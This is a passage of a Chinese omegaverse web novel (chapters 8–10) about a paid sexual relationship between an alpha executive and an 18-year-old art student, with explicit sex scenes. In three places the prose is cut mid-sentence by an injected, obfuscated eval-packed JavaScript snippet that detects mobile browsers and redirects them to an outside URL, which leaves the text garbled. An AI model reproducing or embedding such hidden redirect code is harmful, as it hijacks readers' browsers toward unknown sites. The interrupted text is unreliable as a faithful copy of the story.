谢铮躺在床上,这会儿路鹿倒是知道做前戏了,把润滑液倒在他身上,冰冰凉凉的。 谢铮啧一声:“不用。” 他喜欢疼,过去最开始的那股疼、又排解了心里被算计的恼火之后,觉得这样竟然也不错。 路鹿却不同意了:“安全起见。” 他很细致地帮谢铮做好了准备,这才欺身上前。 谢铮忍着疼,很稀奇地看路鹿的表情:“脸红了?你还知道不好意思?” 路鹿咬着嘴唇笑,没说话。 那股还没有完全褪下去的又疼又麻的感觉又涌上来,谢铮低吼一声,用尽全身力气在路鹿肩膀上咬了一下。 丝丝缕缕的血液顺着路鹿白皙的肩膀往下蔓延。 路鹿却像是感觉不到一样。 谢铮疼得想死也爽得想死。 “……宝贝儿,蠢鹿,聪明的小鹿……老公不知道你这么厉害呢?” “谢叔叔,”谢铮做梦似的。耳边有声音:“和别人谈过吗?和别人接过吻吗?……过吗?” 谢铮咬着他肩膀笑,声音很含糊:“没有啊,你是第一个,该死的臭小子。” 8. 第 8 章 第8章 谢铮的嘴巴是真的很厉害,就算是在这种时候也不忘输出。 路鹿被他用“小鬼”、“混小子”、“小骗子”、“蠢鹿”、“混蛋东西”之类的词骂了个遍,也不反驳,笑眯眯地把自己额头上落下的一滴汗从谢铮胸前的纹身上抹去。 谢铮咬牙骂他:“你他妈乱摸什么呢?” 要是谢铮用平时的语气来说这句话,那肯定十分阴森吓人。 但谢铮现在就只是躺在床上,头发被汗水打湿,一条劲瘦的腿还搭在路鹿腰上,嗓音沙沙哑哑的,整个人因为疼和爽,乱七八糟的样子,连骂人都像是在调情。 路鹿轻轻抚摸着谢铮柔韧的皮肤,又把脸埋在谢铮脖颈里,闻他信息素的味道。 路鹿没想到谢铮能这么快就接受在下位的事实。 他以为至少他要和谢铮打一架才能分出胜负。 挂在天上的奖牌就这样被他这坏小子摘下来,被他弄脏。路鹿很少见地有点兴奋起来,温热的舌头绕着谢铮的侧颈打了个圈,又狠狠咬上去。 谢铮“嘶”了一声,低低笑起来:“蠢鹿,这么招人喜欢呢?” 路鹿抬起头。 谢铮整个人都发着抖,觉得自己半条命都快没了。 他“操”了两声,抓着路鹿后脑勺的头发把路鹿的脸拽到自己旁边,很凶的力道和他接吻,又在他脸上亲一下:“啊……小骗子,爱死你了。” 说话的时候谢铮的眼睛已经有些失焦了,朦胧涣散地看着路鹿,眼周有点发红和湿润。 被这样一双眼睛看着,路鹿差点就把谢铮口中的“爱你”当真。 路鹿变得前所未有的兴奋,手不知道什么时候开始发抖战栗,他帮谢铮翻了个身,让他背对着自己,不让谢铮看到自己现在很傻的表情。 - 结束后,两人都有点失神,路鹿从谢铮身上翻下来,和谢铮一起并排躺在床上。 如果是恋人,这个时候也许会有一个拥抱。但两人不是,路鹿安静地看着天花板,身上滚烫的温度一点点消散在房间里。 谢铮伸腿踹一下路鹿:“把我烟拿来。” 路鹿下床找了半天,终于在浴室里发现了谢铮的裤子。 裤子已经完全被水打湿了,烟盒也变得湿滑,好在里面的烟被保护的还算好,路鹿挑了一根整体算得上干燥的烟,把打火机和烟灰缸一起拿给了谢铮,又帮谢铮点了烟。 等谢铮吐出一个烟圈,路鹿又回头,从地上捡起两人湿漉漉的衣物放到烘干机里。 最后又问谢铮:“要吃点东西吗?我去点。” 简直比跟了谢铮两年的小助理还贴心。 “不用。”谢铮炫技地吐一个烟圈,坏笑地看着路鹿。 他刚才没少咬路鹿,年轻人身上现在全是吻痕和咬痕,他皮肤白,这些痕迹看起来就格外显眼。 谢铮看着自己的作品,回味了一下刚刚那酣畅淋漓的性/事,心情相当好:“晚点把你卡号给我。” 等烘干机响了以后,谢铮站起身去拿衣服。 躺着的时候还好,一站起来谢铮才发现自己的腰简直就像是被火车压过了一样疼,谢铮差点都没站稳。 路鹿看着谢铮一件件穿衣服:“要走吗?” “给你们宋老师浇花去。”谢铮整理着自己的腰带:“房开到明天中午,你在那之前回去就行。” 他说着朝外走,手都按在把手上又想到什么,朝路鹿勾勾手指:“宝贝儿过来,老公亲一口。” 路鹿弯着眼睛走过去。 谢铮捏着他下巴和他亲了一会。 柚子味的吻感觉出乎意料的好,谢铮使坏地喂了路鹿一口口水,这才满足地转身离开。 谢铮走后,路鹿简单收拾了一下房间里的一地狼藉。 那个老田买的润滑剂还剩下大半瓶,十个装的套子还剩下一半。 这两个东西也就是路边药店随便买的,说实话路鹿没觉得好用,味道也不好闻。但路鹿还是把它们都收了起来,以备下次需要。 早晨7:45的时候,路鹿的银行卡收到了一笔两万元整的转账。 他今天早上有课,收到短信时候已经在宿舍换衣服了。 崔松柏迷迷糊糊地睁开眼,看到站在下面的路鹿一下子精神了不少:“啊天呐!吓我一跳!小鹿你什么时候回来的?” “就刚才呀,我正打算叫醒你呢。” 崔松柏哦了一声,从枕头底下摸出眼镜戴上,看清路鹿的时候他又吓了一跳:“……小鹿?!你脸怎么这么红?嘴角怎么流血了??脖子上也红的???酒吧昨晚又有人闹事是不是?你挨揍了?” 不知道谢铮是有意还是无意,他脸上、脖子上虽然也留了痕迹,但至少不是牙印。 身上的痕迹就显得糟糕多了,肩膀上深到流血的齿痕,胸口上全是被人啃噬过的证据,就连大腿内侧都有牙印。 但这些路鹿当然不会告诉崔松柏。他往上拉了拉卫衣领子,又多套了件高领外套,弯着眼睛笑:“嗯哈。” 没人知道他昨天和谢铮亲得差点缺氧,他和谢铮做//爱了。 没知道昨天谢铮昨天一口一个宝贝儿地叫他,眼睛里带着水光地夸他厉害,说喜欢他,说爱死他了。 路鹿因为这秘密变得雀跃,浅浅的眸色都因此变得深了点。 上课的时候他抽空给谢铮发了个消息,告诉他自己收到转账了,还在后面跟了个可可爱爱的冒爱心的emoji。 谢铮一直没回复。 事实上,谢铮这两天忙得要起飞。 本以为只是一个小项目的合作因为政策的颁布,变成了被上面支持的重点领域,只要再操作一下,甚至有可能被纳入示范。 谢铮这几天睁眼闭眼都是开会,跑几个老板的公司,哦,还有伺候宋清远那些祖宗花草,连饭都快没时间吃了。 和路鹿的这一次真的是把他的瘾按下去了,这几天他甚至没自己弄,就只是在不停的工作,谢铮还挺喜欢这种忙碌的感觉。 等到再想起来路鹿,还是宋清远的一条消息。 [可怜的阳痿A]:好兄弟,江湖救急。 [谢]:。 [可怜的阳痿A]:我有东西落在办公室抽屉里。钥匙在我卧室柜子里风衣的口袋里,我让路鹿去家里拿,你什么时候有空? 路鹿? 像是黑夜里落下一道明亮的闪电,路鹿的脸庞很清晰地出现在谢铮脑海里。 接着谢铮想到了那天晚上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456884|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路鹿浅色的眼睛看着他,柔软的头发被他拽在掌心。嘴唇被他啃得红艳艳的,还带着笑,把他的一条腿抬起来,问他:“谢叔叔,我没经验,这样舒服吗?舒服呀?……嗯哈……” 像是火星碰到了干燥的棉絮,一团火沿着谢铮小腹猛地点燃。 整个屋子顿时炸满了烟草胡椒的味道,浓郁又呛人。 谢铮猛地抓起抑制剂给自己来了一针。 没有omega信息素诱导的情况下,正常alpha的易感期的频率是三个月到半年一次,每次持续半个月到一个月。 这期间内,即便注射了抑制剂,得不到信息素抚慰、无法对omgea标记的的alpha其实很遭罪,会出现情绪不稳、易怒易躁、筑巢和欲望格外强烈等症状。 一般alpha遇到易感期,都会选择请假不去上班上学,闭门不出。 但随着近年来抑制剂的效果越来越好,以前总会出现在新闻上的易感期伤人事件已经少了大半,贴片式和口服式的抑制剂甚至能让alpha感受不到疼痛。 但即便如此,对于绝大多数alpha来说,易感期也很难熬。 谢铮倒是没有像其他alpha一样对易感期发憷,就是有点好笑,酝酿了好久的易感期,竟然只是因为想到了路鹿就全面爆发了。 抑制剂渐渐起效,空气中的味道淡了许多。谢铮想了想,告诉宋清远:九点之后。 他又关心了一下好友的近况,但宋清远没有多说,只是说在老家每天看看海,画点画,挺舒服的。 结束和宋清远的聊天后,谢铮给路鹿弹了个语音通话过去。 十几秒后,通话被人接通:“谢叔叔。” 那边声音很嘈杂,有吵闹的音乐声,易感期的alpha的五感比平时敏锐一些,这对谢铮来说算得上噪音了。他皱了皱眉:“在哪里呢?” “学生活动中心。街舞社排练。我负责灯光的。” 路鹿笑:“五一结束后是校庆,谢叔叔你来吗?” 印象中Y大好像的确会有这样的活动,谢铮不感兴趣地道:“再说吧。” 路鹿“嗯”了声。 谢铮问他:“你们宋老师和你说了吗,让你来拿钥匙。” 路鹿那边有人叫他,路鹿轻轻应了一声,再和谢铮说话的时候,听起来像是在走神:“说了哦。” 这轻飘飘的声音和某些瞬间重叠上,谢铮舔舔嘴唇,直接挂了电话,改成视频回拨了回去。 路鹿接起来,戴着有线耳机,头发扎在脑后,穿着一件白色连帽衫,看起来很青春活力。 他那边环境有点暗,能看到不远处有人在走动,谢铮问他:“宝贝儿,吻痕消了没?” 路鹿眯着眼睛笑了一下,也没扭捏,直接把卫衣领子往下拉了拉。 喉结旁边还有点红,但不仔细看的话也不会觉得不对劲。 谢铮盯着少年精致的锁骨,坏笑:“晚上不用过来了,直接去酒店等我,还是上次的房间。” 路鹿手指摸摸屏幕上谢铮有棱角的脸,笑得很乖:“好哦,谢叔叔。” - 路鹿微博 [发布于一天前] @Deer:马上就要全消了^^ 9. 第 9 章 第9章 晚上谢铮先到了酒店。 他没急着进去,让老田把车停在对面。 老田是从十几年前就一直跟着谢铮混的,那时候谢铮打架他负责望风,谢铮受伤他去送水果,现在谢铮发达了,他就给谢铮跑腿、开车。 不是什么没面子的事儿,至少工作比别人稳定多了,奖金也丰厚。 老田从后视镜里看谢铮,意识到他心情不错。他叫谢铮:“哥,这边儿不让停太久,等下我把车开到后面的停车场去,你出来了就打给我。” 谢铮应了声。 说话的时候路鹿从旁边的地铁口出来了,他在酒店门前左右看了看,没找到谢铮,从斜挎包里拿出一只面包开始啃。 谢铮:“……” 他看的好笑,举起手机隔着窗户拍了张路鹿,又给路鹿发了过去。 路鹿一手举着面包,一手拿出手机。 等他看清楚谢铮发的内容后,抬头张望了几下,立刻找到了谢铮的车。 恰逢变灯,绿灯就剩最后几秒,路鹿小跑着来到谢铮车前,弯腰笑眯眯地看着后座:“谢叔叔?你在里面吗?” 谢铮按下车窗,嘲笑他:“你是来春游的小学生?” 路鹿举起手里吃了大半的面包:“好吃呢,奶油的。谢叔叔尝尝?” 谢铮着看着路鹿,突然伸手,用拇指在路鹿嘴角抹了下,放到嘴边吮了下,坏笑:“一般吧。” 路鹿一愣,唇角微微上扬起来。 谢铮下了车:“走吧。” 话虽这么说,但现在是红灯。等变灯的时候,路鹿三下五除二地把剩下的面包吃了,又摸出一瓶水和一个小药瓶,倒出两粒白色的小药丸,和水吞了。 “什么东西?”谢铮拧眉:“助勃片?” 路鹿一口水差点呛得咳嗽了两声:“维生素啦。” 谢铮锃光瓦亮的皮鞋在路鹿运动鞋上踢一脚,嘲:“吃这么多,等下吐出来。” 路鹿好脾气地弯着眼睛:“不会的。” 上楼进了房间以后谢铮直接拽着路鹿的领口,让他弯下腰来。 他凶狠地咬着路鹿嘴唇,尝到了甜甜的奶油和异常苦涩的药混合在一起的味道。 易感期的alpha五感敏锐,这味道一股脑冲到谢铮脑门,谢铮恶心坏了,“呸”了好几下:“你给我刷牙去!” “谢叔叔不喜欢吃甜的?还是不喜欢苦味?” 谢铮拧着眉:“赶紧去!” 路鹿忍俊不禁地钻到浴室,仔仔细细地把牙齿刷干净,又用漱口水漱了两遍,出来的时候却没见到谢铮,却听到有水声从楼上传来。 酒店的这间房是双层结构,比路鹿之前住过的任意一个房间都要豪华许多,只是上次他根本就没空看,这会儿才反应过来,谢铮可能是在楼上的浴室冲澡。 为了保证客户的体验,路鹿也很尽责地去冲了个澡。 出来的时候,比起穿戴整齐的路鹿,谢铮浑身上下只围了个浴巾,撑脸躺在沙发上看电视,指间还夹着一根烟。 看到路鹿,谢铮微微支起一点身体:“过来。” 路鹿走到他旁边坐下,垂眸看谢铮手臂上的纹身,有点好奇:“这是纹的小狗的骨头吗?是叔叔养过的小狗吗?” “我给你钱是为了让你跟我聊天的?要不要把你家有几口人,爷爷奶奶退休金有多少钱和我分享一下?” 谢铮嗤笑着吸一口烟,又把烟雾全都渡到路鹿嘴里,又把舌头堵过去,用力地缠绕着路鹿的舌头。 只是这样一个不算温柔的吻,却让谢铮好不容易被压下去的易感期轰得一下爆发,屋子里顿时充满了乌云一样沉重的胡椒味道,谢铮把路鹿按倒在沙发上,牙齿痒的厉害,拽着他领口的衣服就去咬路鹿的后颈。 alpha显然不能对另一个alpha完成任何标记,谢铮的躁动得不到任何的缓解。 成熟alpha的呼吸声就在路鹿的耳边响起,带着热气和潮湿的呼吸喷洒在路鹿颈间的皮肤上,带着浓郁的渴望。 路鹿的呼吸声也渐渐急促起来,他抬手按着谢铮后脑,安抚他:“谢叔叔别急,别着急。” 谢铮的声音近在咫尺地响起来,沙哑、带着欲望的气息,只是说的话却不算好听:“不行就把钱退老子!老子退订!” 路鹿差点喷笑出声:“…………” 退订? 这是把他当包月会员了? 他已经知道上次都是两人都是第一次。但作为第一次来说,又实在很不像样子,没有温情也没有爱抚。 路鹿这次是想慢一点的,但谢铮显然不满他的节奏,一点点往下坐。 两个人同时呼出一口气,有疼也有舒服。 被谢铮的手撑着的胸膛有种酥酥麻麻的感觉,路鹿抓起谢铮的手,用嘴唇碰碰他的手指。 谢铮反手掐住他的脸,弯腰和他接吻,嘴唇贴着嘴唇地问他:“这么乖,是因为喜欢老公还是喜欢老公的钱?” 还不等路鹿回答,谢铮使劲儿甩了一下脑袋。 之前的易感期,谢铮都是自己一个人撑过来的,说实话不算困难。他也知道,有了omgea信息素抚慰的alpha会在易感期的时候过的更容易。 可现在他是介于这两者之间的状态,既满足又不满足,身体被充满的感觉很舒服,但因此,牙痒得厉害,那种想要标记谁的冲动前所未有的高涨着。 浓郁的信息素让谢铮自己都发晕了,这让他产生了像是喝醉了一样的感觉。 四肢发软,头脑发晕。 路鹿伸手扶了他一下:“没事吧?” “没事。” 路鹿有点担心他,坐起了身体,双臂把他拢在怀里,给了谢铮一个像是拥抱的东西。 从来没有人这么给过谢铮这种柔软的拥抱。一瞬间谢铮头发都发麻了:“你他妈干什么呢?!恶心死了。” 路鹿还是第一次看到谢铮这样,简直就像一只炸毛的猫。 路鹿觉得这样的谢铮很新奇,他睁大眼看着谢铮的表情,心里冒出了两字和谢铮很不相配的字来:可爱。 路鹿忍着笑,一手捏着他的后颈,揉着他根本就不存在的腺体,安抚他:“别急,别着急。” 另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456885|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只手则从他的腰伸过去,搂在他后背上,就借用着这种抱着他的姿势用轻轻的力度触碰着谢铮。 动作因此慢了下来,也轻了下来,谢铮原本只能感觉到疼和爽的身体竟然感受到了更多的东西。 路鹿一直盯着谢铮的脸,当然发现了他的变化,于是把动作放得更轻柔。 谢铮听到有什么声音。 他拧着眉,听了好一会才发现那短促的声音竟然是自己发出来的。他猛地抬起手,用力咬住自己。 谢铮皱眉咬着虎口的样子很好看,路鹿抿了抿唇,还是扯下了谢铮的手。 谢铮因此失去了一瞬间的平衡,倒在路鹿身上。 他想重新直起腰,但路鹿却突然变得很不听话,谢铮枕在路鹿胸口上,听年轻人剧烈的心跳:“操……小鹿,听话,别动……让老公坐起来。” 路鹿装作听不到地咬着他耳朵。 一来二去的,谢铮觉得自己快疯过去了,他捧着路鹿的脸:“小鹿,乖小鹿,老公,爱死你了。” 谢铮胡言乱语的也不知道自己在说什么了,无意识地咬着路鹿的卫衣,一会让路鹿快点一会儿让他慢点的。 路鹿低头,用力去吻谢铮变得红艳艳的嘴唇。 等松开谢铮嘴唇的时候,路鹿还能窥见谢铮脸上那抹出神。 他轻轻的,带着一些隐秘的期待问谢铮:“叔叔叫我什么?” 谢铮从迷离的状态里清醒了一瞬间,戏谑地说:“老公。” 等一切都结束,天边已经开始泛白。 谢铮还记着老田,恢复了体力之后的第一件事是哑着嗓子给他打了个电话:“你先回去吧。” 路鹿把浴缸放好了水,一手垫在谢铮后脑,一手从他腿弯传过去,公主抱地把谢铮放在浴缸里。 谢铮伸手捏路鹿的脸:“你体力不错。” “我最厉害的一次,先是发了两个小时传单,又去公园扮娃娃。48小时里打了六份工,体力就是这么练出来的吧?” 路鹿挽起袖子,把手臂伸到水中:“谢叔叔,抬一下腰。” 最后那次的时候,不知道是哪里出了问题,安全套一直在往下掉,谢铮嫌烦了,索性没让路鹿再用,也因此现在才需要做一些额外的清理工作。 谢铮侧过身,问路鹿:“你很缺钱?” 路鹿的回答很暧昧:“是吧?” “你一个学生,钱用在哪里?总不能是吃饭吧?” 路鹿看着谢铮后腰上自己留下的咬痕,笑:“艺术系很烧钱的。” 谢铮不置可否地耸了耸肩,心里对路鹿的那点兴趣随着这几个问题也消散了,于是尽管这个话题还可以继续延续,但也没再说什么。 路鹿帮谢铮清理完,又拿了软膏来帮他上药,谢铮被他伺候得很舒服,甚至生出了一种想要给路鹿涨工资的冲动。 当然,也只是想想。 - 谢铮日记 [十三年前] 死老头包了个omega被我发现了。 难道他看不出来别人是在图他的钱?? 真是又蠢又恶心。 10. 第 10 章 第10章 瘫睡一夜,第二天谢铮醒来的时候,身体像是健身过度,混合着极度的酸软和酣畅淋漓的舒适。 路鹿已经起来了,衣服穿戴整齐,笑眯眯地往桌上摆早餐外卖。 谢铮眯着眼打量路鹿。 男生看起来和谢铮第一次见他的时候没有任何变化,活力青春,像对着太阳绽放蠢兮兮笑脸的向日葵,仍旧带着不经人事的纯真。不像谢铮某些狐朋狗友,前一晚做了什么,一眼就能看出来。 两人做的时候也是这样,不管身体再泥泞,路鹿的表情还是清清爽爽的。 谢铮摸过床头的烟。 路鹿听到打火机盖子开合的声音,回过头:“三鲜小笼包和豆浆,谢叔叔吃得惯吗?” 谢铮没回答,看着路鹿的脸眯着眼笑,一开口嗓音还是哑的:“怎么还和雏儿似的?” 路鹿没想到谢铮会回自己这么一句话,有些惊讶地扬起眉看着谢铮,隔了一会儿后又被逗笑了,噗嗤笑出声来。 谢铮一看他这傻兮兮的笑脸就烦,在心里骂了声蠢。 吃完早饭谢铮拿出一支抑制剂丢给路鹿:“宝贝儿,帮我打上。” 路鹿笑:“我还没用过这种的。” 谢铮:“…………” 他印象中贴片抑制剂出现也就是这两年的事情,路鹿连注射式都没用过,可见他是真的小。 谢铮差点没控制住嘴角的抽搐:“你还没有老子养的狗大。” “狗?”路鹿看谢铮手臂上的骨骼纹身:“是这只吗?” 谢铮从鼻腔里应了一声。 “它叫什么名字?” “米团。”谢铮皱着眉,不想再继续这个话题:“你快点。” 路鹿在谢铮肩膀上找到米团头骨的位置,和它打了个招呼:“米团你好,我是被你爸爸包养的情人。” “……”谢铮无语:“你他妈乱教什么呢?” 话音刚落,小腹一痛,尖锐的短针被路鹿刺进皮肤,随着推动一点点注射进身体里。 针头拔/出的时候,有两滴药水滴在谢铮腰上。路鹿抬手擦去,抬头看到谢铮的表情。 谢铮无疑是个很能忍痛的人,但此时眉毛紧皱着,薄唇抿起,胸肌微微抖动着。 路鹿只知道注射式的抑制剂疼,但没想到会这么疼。 但谢铮这时的表情太漂亮了,像是被欺负了,路鹿猜这世界上根本就没有几个人,甚至有可能只有他一个人看过谢铮现在的样子。 还有另外的那些表情,迷离到双眼失神的,麦色的皮肤带着红晕、昏昏沉沉地笑着的,还有咬着自己虎口的样子。 辣得要命。 路鹿按着谢铮腰的手猛地把谢铮翻了个身,整个人跪着覆盖上去。他火急火燎地顺着谢铮的腰线一路往下亲吻,谢铮戏谑的声音混合着喘息声:“操……宝贝儿,怎么突然发/情了?” 昨晚的余韵还在,并不需要太多准备工作,路鹿很想看到谢铮因为自己变得舒服的脸,所以格外卖力,直到听到谢铮奇怪的“呃”声才停下。 谢铮弓着腰,用很奇怪的姿势按着自己的小腹,路鹿一愣:“谢叔叔,你不舒服吗?” 谢铮没有立刻回答他,发出了两声像是干呕的声音来,抓着路鹿按在他腰上的手按在他小腹上。 谢铮的皮肤是很健康的麦色,路鹿的皮肤本来就白,此时手指被谢铮抓在手里,对比起来甚至显得苍白。 路鹿发愣地看着两人交握的手,手指动了动,却不明白谢铮的用意。 然后路鹿隔着谢铮的腹肌,竟然抚摸了某种形状。 “你他妈吃的是小笼包还是大力丸?疯了?”谢铮用力深呼吸了几下,冷笑着:“等下清理不干净老子把你的头当球踢,蠢货。” 谢铮骂的凶,路鹿却知道他没怎么生气。 这种姿势,手抚摸到的东西,让路鹿产生了一种完全把这个强势的男人握在掌心的错觉。 路鹿轻声,语气很乖巧:“我会帮叔叔弄干净的。” 说着话,路鹿却想起了生理健康课上老师教过的知识点。 如果现在谢铮是一个健康的,正处在发/情期的omgea,那么他有百分之五十的概率会在结束后进入假孕状态。 如果进行了标记或者临时标记的行为,那么谢铮有百分之十的概率会真的怀孕。 路鹿还从来没想过孩子。 他才十八岁,很难想象一个有着自己的眉眼、和自己流淌着相同血液的婴儿出现在这个世界上。 路鹿回过神的时候,听到谢铮又在夸自己又在骂自己的:“……蠢鹿,乖小鹿……深点……他妈的……不对……你给老子滚出去……” 路鹿觉得自己像是被晒在日光下的蜜糖,几乎融化成甜水。他咬着谢铮的耳朵,因为幻想谢铮会为自己生下一个孩子而变得更加兴奋。 谢铮在心里骂了一万句脏话。 要是正常情况下比,谢铮不觉得自己的体力会输给路鹿。 但做下面那个所耗费的气力比谢铮想象中要多太多了,再加上谢铮现在本来就处于易感期,谢铮竟然只有被压制的份儿。 他用力翻了个身,凑到路鹿耳边,湿漉漉地威胁:“你胆肥了敢这么对你老公?你等着——下次看我不干死你。” 路鹿笑着答应:“嗯嗯。”但从他越来越放肆的动作来判断的话,显然是没听进去。 - 路鹿回学校的时候已经是中午。 他今天没课,待在工作室画草稿。 关于下一个作品,他其实已经有了灵感。 谢铮身上的犬类骨骼很好看,他也可以用骨骼来组成更多的东西。天空、草地、雪山,整个世界。 路鹿画画改改的,最终草稿渐渐定型。 白骨版的断臂维纳斯。 这类带一些设计的创意雕塑其实对于他们现在的阶段来说还太早,但路鹿很喜欢这种把自己不成熟的灵感变成现实的感觉。 他全神贯注地找参考、细化草稿,这种沉浸的状态最终被一阵敲门声叫醒了。 “我看到你们工作室还没关灯,就猜是不是你在。” 同系的几个同学探头进来:“小鹿,晚上民乐社聚餐,我们去蹭饭,你和我们一起啵?” 同学用手比划了一个大小:“那家饭店的虾听说有这——么大!” “这——么大呀。”路鹿忍笑学同学说话:“那我一定要一起啵。” 民乐社聚餐的地方是在学校附近一家新开的中餐厅。 来吃饭的也不只是民乐社的社员,还有不少跟着凑热闹的,认识的不认识的,拖家带口,反正人越多饭钱A得越划算。 吃到一半的时候崔松柏也来了,风风火火的。 他很惊奇地睁大眼:“我刚刚看到谢铮了。” “谢铮?” “老师吗?” “啊,我知道他!” 学生们有部分不认识谢铮的,宋清远在短视频软件上打上谢铮的名字,搜索结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456886|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果出来的时候,满桌都响起了恍然的“噢——” ——原来就是那个长得很帅很吓人的,在网上火过几次的总裁。 听其他人提起谢铮,路鹿有些忍不住想笑,他按了按锁骨,一层薄薄的衣服底下全是谢铮留下的咬痕。 他偷偷给谢铮发消息:谢叔叔 [谢]:? [谢]:[转账0.5元] [谢]:老公忙呢,买根棒棒糖吃去 路鹿憋笑憋得就差把脸埋在桌子底下了。 崔松柏神秘兮兮的语气:“和我们宋老师是朋友呢。” 宋清远学生们倒认识的多了。 同学们又恍然地“噢”了声。 民乐社的社长是个精干利落的omgea女生,她抿着嘴唇笑:“我闻到了八卦的味道。” 学生们互相看看,再再再次恍然地“噢。” “竹马竹马哇。” “还是同学。” “谢铮不是在J市的么,这次不知道怎么就突然来Y市了。” “那天宋清远和他在校园里有说有笑的。看着很配。” “可他们不是两个alpha……” “宋老师的情况你又不是不知道。说是alpha,不如说是beta。” 同学们热烈地八卦着,几乎已经快要把“谢铮其实苦恋宋清远这件事”拍板钉钉。 路鹿看着暗掉的手机屏幕里自己的倒影,刚才被逗出来的那点儿笑容已经全没了,表情冷冷。 路鹿起身:“我去下卫生间。” 饭店的卫生间水竟然是从雕刻成希腊女人怀里的果篮里的水龙头里流淌出来的,路鹿喜欢这样的巧思,用手机前后左右地拍了好几张参考照后,弯腰用手接了捧水,把脸埋在里面了一会。 再抬头的时候路鹿从前面的镜子里看到湿漉漉的自己,和自己旁边黑色西装,宽肩窄腰的男人背影。 谢铮抱着手臂,好笑的语气:“你在干嘛?吐泡泡?” 路鹿笑:“太热了。” “你怎么在这儿?” “社团聚餐。”路鹿比划:“听说这里虾有这——么大。” 谢铮“哦”一声:“怪不得,我们隔壁的包间应该就是你们这群小崽子,吵死了。” “嗯,他们都喝了点酒。” 谢铮突然眯了眯眼:“你喝没喝?” “没有。” 谢铮两只手捏住路鹿脸颊两侧,坏笑:“叔叔检查下。” 路鹿很配合地张开嘴巴,吐出一点舌头。 这张乖顺的脸做这样的表情实在是太有冲击力了,谢铮“操”了一声,捏着路鹿脸颊的手用力了一点:“老公有正事呢,你这么勾我?” 不等路鹿回答,谢铮抬头去咬路鹿吐出来的那截舌头,含在嘴巴里,凶猛地纠缠。 和路鹿接吻的感觉实在很好,路鹿不扭捏,很配合,谢铮总能想起自己最开始的时候,说的那句“我不接吻”,实在是有点装了。 走廊传来脚步声,谢铮才松开路鹿的脸颊。脚步声的主人从卫生间外经过,路鹿突然说:“对了,谢叔叔。” 谢铮:“……?” 路鹿:“你以后要是有别的情人的话,我按照辈分,是不是能涨工资?” 谢铮:“……” “你当你是后宫升职记的女主呢?”谢铮又无语又好笑:“暂时不会有别的人给你过官瘾,你先收了涨工资的心吧。” 路鹿轻轻地笑起来:“嗯。”